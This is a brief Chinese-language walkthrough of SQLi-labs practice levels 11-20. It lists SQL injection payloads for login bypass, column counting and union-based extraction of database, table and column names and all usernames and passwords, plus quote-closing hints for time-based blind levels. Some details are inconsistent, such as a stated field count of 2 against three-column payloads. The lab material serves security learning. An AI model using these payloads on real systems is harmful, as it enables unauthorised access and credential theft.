Less 11-20题
11关
先输入1‘or 1=1–+发现为单引号闭合
登录成功单引号闭合。
2.?id=-1’ order by 3–+ 找有多少个字段。
输入2时页面正常,所以字段数是2个;
然后用联合注入,具体如下:
(1).爆数据库名
?id=-1’ union select 1,(select database()),3–+
(2).爆表名
?id=-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()–+
(3).爆字段名
?id=-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
(4).爆出所有用户
?id=-1’ union select (select group_concat(username) from users), (select group_concat(password) from users)–+
具体请参考第五题
12关为“)闭合
13关为‘)闭合
14关为双引号闭合 但为时间延迟型注入
15,16关为单引号和“)闭合都用时间延迟型注入
具体请参考第五题